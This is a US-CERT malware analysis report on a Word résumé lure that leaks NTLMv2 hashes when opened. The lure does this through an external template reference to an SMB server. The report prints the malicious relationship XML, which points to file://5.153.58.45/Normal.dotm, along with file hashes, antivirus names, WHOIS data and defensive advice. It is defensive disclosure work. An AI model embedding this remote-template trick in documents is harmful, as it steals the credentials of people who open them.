NCCIC NATIONAL CYBERSECURITY AND COMMUNICATIONS INTEGRATION CENTER | US-CERT UNITED STATES COMPUTER EMERGENCY READINESS TEAM

Malware Initial Findings Report (MIFR) - 10128336

2017-10-17

Notification

This report is provided "as is" for informational purposes only. The Department of Homeland Security (DHS) does not provide any warranties of any kind regarding any information contained within. The DHS does not endorse any commercial product or service, referenced in this bulletin or otherwise.

This document is marked TLP:WHITE. Disclosure is not limited. Sources may use TLP:WHITE when information carries minimal or no foreseeable risk of misuse, in accordance with applicable rules and procedures for public release. Subject to standard copyright rules, TLP:WHITE information may be distributed without restriction. For more information on the Traffic Light Protocol, see http://www.us-cert.gov/tlp/.

Summary

Description

US-CERT received a malicious Microsoft Word Document for analysis. The analysis of the artifact indicates the use of a "Redirect to SMB" attack to steal the victim's credentials.

Additional analysis on related activity is also referenced in MIFR-10128327 and MIFR-10128883.

Files

Processed	1 722154a36f32ba10e98020a8ad758a7a (CV Controls Engineer.docx)

IPs

Identified	1 5.153.58.45

Files

CV Controls Engineer.docx

Details

Name	CV Controls Engineer.docx
Size	19261
Type	Microsoft Word 2007+
MD5	722154a36f32ba10e98020a8ad758a7a
SHA1	2872dcdf108563d16b6cf2ed383626861fc541d2
ssdeep	384:Dk5kSg2bPvHjd1coguI38aI2TUGThYGBUvolkGDJ4LMwa7nXp:DkGMjjOn8yTUQzuw7VB37n5
Entropy	7.85923994786

Antivirus

McAfee	W97M/Downloader.cdg
BitDefender	Trojan.GenericKD.12004346
Microsoft Security Essentials	Trojan:O97M/Inoff.A
Sophos	Troj/DocDl-JMD
TrendMicro House Call	TROJ_RELSLODR.D
TrendMicro	TROJ_RELSLODR.D
Emsisoft	Trojan.GenericKD.12004346 (B)
Ahnlab	DOC/Downloader
ESET	DOC/TrojanDownloader.Agent.U trojan
Ikarus	Trojan-Downloader.MSWord.Agent

Relationships

(F) CV Controls Engineer.docx (72215)	Connected_To	(I) 5.153.58.45

Description

This Word Document uses a "Redirect to SMB" attack to steal the victim's credentials.

This Word Document contains an embedded file URL, "file[:]//5.153.58.45/Normal.dotm", within its relationship component "word/_rels /settings.xml.rels." When the Word Document is opened, this file URL causes Windows to automatically attempt to authenticate to the malicious SMB server at 5.153.58.45 by providing the victim's encrypted user credentials (NTLM v2 Hash) without prompting the user or without the user's knowledge. The operator may then capture this NTLM hash and attempt to crack the password used to create it via a brute force dictionary attack. If the operator is successful, they will now possess the victim's username and password and may be able to access their system remotely.

The malicious SMB server has the following IP:

-- Begin IP --

5.153.58.45

-- End IP --

-- Begin Content "word/_rels/settings.xml.rels" --

```
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
        <Relationships xmlns="http[:]//schemas.openxmlformats.org/package/2006/relationships">
            <Relationship Id="rId1337" Type="http[:]//schemas.openxmlformats.org/officeDocument/2006/relationships/attachedTemplate"
            Target="file[:]//5.153.58.45/Normal.dotm"
            TargetMode="External"/>
        </Relationships>
```

-- End Content "word/_rels/settings.xml.rels" --

IPs

5.153.58.45

URI

- file[:]//5.153.58.45/Normal.dotm

Ports

- 445

Whois

```
Domain Name: sl-reverse.com
Registry Domain ID: 1931372850_DOMAIN_COM-VRSN
Registrar WHOIS Server: whois.corporatedomains.com
Registrar URL: www[.]cscprotectsbrands.com
Updated Date: 2017-05-18T05:15:16Z
Creation Date: 2015-05-22T13:54:48Z
Registrar Registration Expiration Date: 2018-05-22T13:54:48Z
Registrar: CSC CORPORATE DOMAINS, INC.
Registrar IANA ID: 299
Registrar Abuse Contact Email: domainabuse[@]cscglobal.com
Registrar Abuse Contact Phone: +1.8887802723
Domain Status: clientTransferProhibited http[:]//www[.]icann.org/epp#clientTransferProhibited
Registry Registrant ID:
Registrant Name: IBM Corporation
Registrant Organization: International Business Machines Corporation
Registrant Street: New Orchard Road
Registrant City: Armonk
Registrant State/Province: NY
Registrant Postal Code: 10504
Registrant Country: US
Registrant Phone: +1.9147654227
Registrant Phone Ext:
Registrant Fax: +1.9147654370
Registrant Fax Ext:
Registrant Email: dnsadm[@]us.ibm.com
Registry Admin ID:
Admin Name: IBM Corporation
Admin Organization: International Business Machines (IBM)
Admin Street: New Orchard Road
Admin City: Armonk
Admin State/Province: NY
Admin Postal Code: 10598
Admin Country: US
Admin Phone: +1.9147654227
Admin Phone Ext:
Admin Fax: +1.9147654370
Admin Fax Ext:
Admin Email: dnsadm[@]us.ibm.com
Registry Tech ID:
Tech Name: IBM Corporation
Tech Organization: International Business Machines (IBM)
Tech Street: New Orchard Road
Tech City: Armonk
Tech State/Province: NY
Tech Postal Code: 10598
Tech Country: US
Tech Phone: +1.9192544441
Tech Phone Ext:
Tech Fax: +1.9147654370
Tech Fax Ext:
Tech Email: dnstech[@]us.ibm.com
Name Server: ns2.networklayer.com
Name Server: ns1.softlayer.net
Name Server: ns2.softlayer.net
Name Server: ns1.networklayer.com
DNSSEC: unsigned
URL of the ICANN WHOIS Data Problem Reporting System: http[:]//wdprs.internic.net/
```

Relationships

(I) 5.153.58.45	Characterized_By	(W) Domain Name: sl-reve

(I) 5.153.58.45	Connected_From	(F) CV Controls Engineer.docx (72215)
(I) 5.153.58.45	Related_To	(P) 445
(I) 5.153.58.45	Related_To	(U) file[:]//5.153.58.45/Normal.dotm

Relationship Summary

(F) CV Controls Engineer.docx (72215)	Connected_To	(I) 5.153.58.45
(I) 5.153.58.45	Characterized_By	(W) Domain Name: sl-reve
(I) 5.153.58.45	Connected_From	(F) CV Controls Engineer.docx (72215)
(I) 5.153.58.45	Related_To	(P) 445
(I) 5.153.58.45	Related_To	(U) file[:]//5.153.58.45/Normal.dotm
(W) Domain Name: sl-reve	Characterizes	(I) 5.153.58.45
(P) 445	Related_To	(I) 5.153.58.45
(U) file[:]//5.153.58.45/Normal.dotm	Related_To	(I) 5.153.58.45

Mitigation Recommendations

US-CERT recommends monitoring activity to the following domain(s) and/or IP(s) as a potential indicator of infection:

- 5.153.58.45

US-CERT would like to remind users and administrators of the following best practices to strengthen the security posture of their organization's systems:

- Maintain up-to-date antivirus signatures and engines.
- Restrict users' ability (permissions) to install and run unwanted software applications.
- Enforce a strong password policy and implement regular password changes.
- Exercise caution when opening e-mail attachments even if the attachment is expected and the sender appears to be known.
- Keep operating system patches up-to-date.
- Enable a personal firewall on agency workstations.
- Disable unnecessary services on agency workstations and servers.
- Scan for and remove suspicious e-mail attachments; ensure the scanned attachment is its "true file type" (i.e., the extension matches the file header).
- Monitor users' web browsing habits; restrict access to sites with unfavorable content.
- Exercise caution when using removable media (e.g., USB thumbdrives, external drives, CDs, etc.).
- Scan all software downloaded from the Internet prior to executing.
- Maintain situational awareness of the latest threats; implement appropriate ACLs.

Contact Information

- 1-888-282-0870
- soc@us-cert.gov (UNCLASS)
- us-cert@dhs.sgov.gov (SIPRNET)
- us-cert@dhs.ic.gov (JWICS)

US-CERT continuously strives to improve its products and services. You can help by answering a very short series of questions about this product at the following URL: https://forms.us-cert.gov/ncsd-feedback/

Document FAQ

What is a MIFR? A Malware Initial Findings Report (MIFR) is intended to provide organizations with malware analysis in a timely manner. In most instances this report will provide initial indicators for computer and network defense. To request additional analysis, please contact US-CERT and provide information regarding the level of desired analysis.

Can I edit this document? This document is not to be edited in any way by recipients. All comments or questions related to this document should be directed to the US-CERT Security Operations Center at 1-888-282-0870 or soc@us-cert.gov.

Can I submit malware to US-CERT? Malware samples can be submitted via three methods. Contact us with any questions.

- Web: https://malware.us-cert.gov
- E-Mail: submit@malware.us-cert.gov
- FTP: ftp.malware.us-cert.gov/malware (anonymous)

US-CERT encourages you to report any suspicious activity, including cybersecurity incidents, possible malicious code, software vulnerabilities, and phishing-related scams. Reporting forms can be found on US-CERT's homepage at www.us-cert.gov.